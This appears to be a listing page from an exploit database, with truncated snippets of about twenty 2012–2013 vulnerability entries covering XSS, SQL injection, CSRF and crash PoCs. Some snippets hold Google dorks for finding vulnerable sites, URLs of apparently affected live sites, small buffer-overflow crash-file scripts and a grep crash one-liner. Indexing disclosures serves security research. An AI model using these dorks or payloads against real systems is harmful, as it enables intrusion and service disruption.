Adobe Experience Cross Site Scripting

---------------------------------------------------------------------------------------------------- Title : Adobe Experience Delivers reflected Cross-site Scripting XSS vulnerability Vendor : Adobe Systems Incorporated http://www.adobe.com Description : experiencedelivers.adobe.com is vulnerable...

Calendar Scripts A.M.Y. Ad Management Software 1.4 Persistent XSS Vulnerability

Exploit for php platform in category web applications Advisory:Calendar Scripts A.M.Y. Ad Management Software 1.4 Persistent XSS Vulnerability Version:1.4 Vendor URL: http://calendarscripts.info/ Demo Link:http://demo.pimteam.net/amy/admin.php Author: Viknesvaran Sittaramane Category: Webapp...

Wordpress vote-it-up plugin Full Path Disclosure vulnerability‎

Exploit for php platform in category web applications Poc http://site.com/wp-content/plugins/vote-it-up/voteitup.php Dork inurl:/plugins/vote-it-up/ Demo : http://www.science-humour.fr/wp-content/plugins/vote-it-up/voteitup.php http://miks.memokraat.ee/wp-content/plugins/vote-it-up/voteitup.php...

CoolPlayerPlusPortable 2.19.4 (m3u) crash poc

Exploit for windows platform in category dos / poc -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= /' \ /'\ /\ \ /'\ /, \ /\/\ \ \ \ \ ,/\ /\ \ //\ \ /' \ /\ //\ Exploit database separated by exploit // type local, remote, DoS, etc. + Site : 1337day.com + Support...

Heise.de Cross Site Scripting

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Advisory: heise.de - Cross-site Scripting vulnerability Advisory ID: SSCHADV2013-002 Author: Stefan Schurtz Affected Software: Successfully tested on heise.de Vendor URL: http://www.heise.de Vendor Status: fixed ========================== Vulnerabilit...

BestPlayRadio v1.0 (.mp3) Crash PoC

Exploit for windows platform in category dos / poc -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= /' \ /'\ /\ \ /'\ /, \ /\/\ \ \ \ \ ,/\ /\ \ //\ \ /' \ /\ //\ Exploit database separated by exploit // type local, remote, DoS, etc. + Site : 1337day.com + Support...

SkypeHide to Send secret messages into silence of Skype Calls

Polish Researchers have discovered a clever way to send secret messages during a phone call on Skype. We know that, by default skype calls use 256-bit advanced encryption, but researchers find that is not enough. So they find out this new way to communicate messages more secretly by using silence...

FoxPlayer 2.9.0 Denial Of Service

!/usr/bin/python Exploit Title:Denial of Service in FoxPlayer version 2.9.0 Download link :http://www.foxmediatools.com/installers/fox-player-setup.exe Author: metacom version: version 2.9.0 Category: poc Tested on: windows 7 German filename="evil.m3u" buffer = "\x41" 5000 textfile = openfilename...

Ratbox IRCd Denial Of Service

This exploit demonstrates a remotely trigger-able crash in ircd-ratbox version 2.0. It affects Shadowircd version 6.3.3 and Charybdis version 3.4.2. !/usr/bin/python3 . . | || || | || \ / | / \ / | |/ \ / \ | || || |\ // // | \ http://www.zempirians.com / /\ /||/|| / |||| // / 00100011...

MyBB Profile Wii Friend Code - Multiple Vulnerabilities

Exploit Title: MyBB Profile Wii Friend Code SQLi/Persistent XSS Dork: intitle:"Profile of" intext:"Wii Friend Code" inurl:member.php Date: 1/3/2013 Exploit Author: Ichi Vendor Homepage: http://mods.mybb.com/view/profile-wii-friend-code Software Link:...

160By2 / Way2SMS Cross Site Request Forgery

Cross Site Request Forgery CSRF Vulnerability in Top Online-based SMS sending service websites 160By2.com and Way2SMS.com. The Security flaw in 160By2 allows hackers to send sms from victim account. This Security flaw in Way2Sms hacker to change the name, dob and other details of the victim with ...

Astium VoIP PBX 2.1 build 25399 - Remote Crash (PoC)

!/usr/bin/python +--------------------------------------------------------------------------------------------------------------------------------+ Exploit Title : Astium VoIP PBX 0x90.nl Software link :...

Aktiv Player 2.80 - Crash (PoC)

Aktiv Player 2.80 - Crash PoC !/usr/bin/python Exploit Title: aktiv-player version 2.80 Exploit Author: IndonesiaGokilTeam Vendor Homepage: http://www.goforsharing.com/home-mainmenu-1/aktiv-player-mainmenu-131.html Tested on: Windows XP SP 3 sampah= "\x42" 200 file = open"GOKIL.wma","w"...

Aktiv Player 2.80 - Crash (PoC)

!/usr/bin/python Exploit Title: aktiv-player version 2.80 Exploit Author: IndonesiaGokilTeam Vendor Homepage: http://www.goforsharing.com/home-mainmenu-1/aktiv-player-mainmenu-131.html Tested on: Windows XP SP 3 sampah= "\x42" 200 file = open"GOKIL.wma","w" file.writesampah file.close salam BLANK...

Grep < 2.11 - Integer Overflow Crash (PoC)

Grep /dev/null Segmentation fault core dumped Method two: $ perl -e 'print "\nx"x231' | grep -c x /dev/null Twitter: https://twitter.com/MegaManSec CVE: CVE-2012-5667 -- Joshua Rogers - Retro Game Collector && IT Security Specialist gpg pubkey...

Cross-Site Scripting (XSS) vulnerability in Quick.Cms and Quick.Cart

High-Tech Bridge Security Research Lab discovered XSS vulnerability in Quick.Cms and Quick.Cart - two products developed by OpenSolution team, which can be exploited to perform cross-site scripting attacks. 1. Cross-Site Scripting XSS vulnerability in Quick.Cms and Quick.Cart: CVE-2012-6430 The...

DIMIN Viewer 5.4.0 - GIF Decode Crash (PoC)

PoC: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/23496.tar.gz CommandLine: "C:\Program Files\DIMIN\Viewer5\imgview5.exe" Symbol search path is: Invalid Symbol loading may be unreliable without a symbol search path. Use .symfix to have the debugger choose a...

DIMIN Viewer 5.4.0 - GIF Decode Crash (PoC)

DIMIN Viewer 5.4.0 - GIF Decode Crash PoC PoC: https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/23496.tar.gz CommandLine: "C:\Program Files\DIMIN\Viewer5\imgview5.exe" Symbol search path is: Invalid Symbol loading may be unreliable without a symbol search path. U...

Adobe Flash Player 11.5.502.135 - Crash (PoC)

Adobe Flash Player 11.5.502.135 - Crash PoC Title : Adobe Flash Player 11,5,502,135 memory corruption Version : 11,5,502,135 Date : 2012-12-17 Vendor : http://www.adobe.com/ Impact : High Contact : coolkaveh at rocketmail.com Twitter : @coolkaveh tested : Internet Explorer 8 Windows 7 Author :...

MyYoutube MyBB Plugin 1.0 - SQL Injection

Exploit Title: MyYoutube MyBB plugin SQL UPDATE injection. Google Dork: inurl:member.php intext:"Youtube Video" intitle:"Profile of" Date: 12.10.2012 Exploit Author: Zixem Vendor Homepage: http://www.mybb-es.com Software Link: http://mods.mybb.com/view/myyoutube Version: 1.0 Tested on: Linux...